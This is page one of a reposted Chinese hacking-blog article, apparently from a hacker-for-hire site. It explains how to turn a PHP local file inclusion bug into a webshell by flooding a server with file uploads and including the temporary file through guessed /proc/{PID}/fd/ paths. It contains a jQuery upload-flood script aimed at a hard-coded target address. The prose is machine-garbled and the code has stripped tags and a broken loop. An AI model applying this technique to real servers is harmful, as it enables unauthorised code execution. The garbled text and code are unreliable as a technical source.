把PHP LFI缝隙变为Webshell的形式

访客5年前黑客资讯984

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人先把屠刀放下!当然鸡肋,但思绪照样值得探求的。
原由是一篇老外写的文章,读完后创造他的思绪或许可以和PHP LFI联合。 文章后边写Java那段确实就是意淫,然则起先说到当linux进程访问一个文件的时间会在/proc/{PID}/fd/下创建一个文件描绘符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而假设你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php剧本发送上传文件的乞求,php都邑创建一个暂时文件来保存上传确当内容,当php剧本实行中止才删去这个暂时文件。那末当创建暂时文件的时间,必定会创建呼应的文件描绘符。假设我们能找到对应的文件描绘,应当就可以经由进程文件包含完结webshell了。一初步我想难点是猜出PID和文件描绘符编号,PID异常往常是几千,apache进程的文件描绘符编号异常往常就只在1-20之间,所以理论上暴力破解真实不难。起先我创造真实搞定PID和文件描绘符编号要比想象中简略得多。
实验步骤我就写得简练一点了。
首先,我们必要赓续上传文件到随意率性php剧本,这个文件更好还大一些。我用的是一个或许4mb的文件,彷佛上传文件有大小限制,太大的文件我没有实验成功,也没有穷究。然后就是写个法度赓续上传这个文件就好,我用的是jquery+HTML。更志向一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
工作截图:

工作后可以在服务器上看到如下效果:

[1] [2]  黑客接单网

相关文章

XSS终结者-CSP理论与实践

 CSP 全称为 Content Security Policy,即内容安全战略。首要以白名单的方法装备可信任的内容来历,在网页中,能够使白名单中的内容正常履行(包括 JS,CSS,Image 等等)...

8个增强 PHP 程序安全的函数

 安满是编程十分重要的一个方面。在任何一种编程言语中,都供给了许多的函数或许模块来保证程序的安全性。在现代网站运用中,常常要获取来自世界各地用户的输入,可是,咱们都知道“永久不能信任那些用户输入的数据...

谈谈Json格式下的CSRF攻击-黑客接单平台

一、CSRF缝隙简介 csrf缝隙的成因便是网站的cookie在浏览器中不会过期,只需不封闭浏览器或许退出登录,那今后只需是拜访这个网站,都会默许你现已登录的状况。而在这个期间,进犯者发送了结构好的c...

某入群题之指令履行字符约束绕过(WEB100)

某入群题又来啦!因为之前刚好做了下hitcon的两个指令履行绕过,问了下pcat能不能写这篇文章。然后他说随意我…..这儿就记载一下。看题! 相似前次的两题,仅仅这次字符长度约束变成了20。心中一喜,...

代码审计第三讲实战发掘sql注入缝隙

 为了更好去发掘php缝隙,关于盛行的结构,咱们也要了解一下,这样才干发掘到高位缝隙。关于结构学习,不同公司有不同结构,所以关于结构,也因人而应,别的看公司需求,假如你的公司大部分选用某一种结构,你来...

支撑新处理器架构的Mirai变种呈现

概述 2019年2月底,unit 42研究人员发现了新出现的为新处理器架构编译的Mirai样本。尽管Mirai的源码在2019年就揭露了,可是它的进犯方针是特定的一批处理器架构集。 Unit 42研究...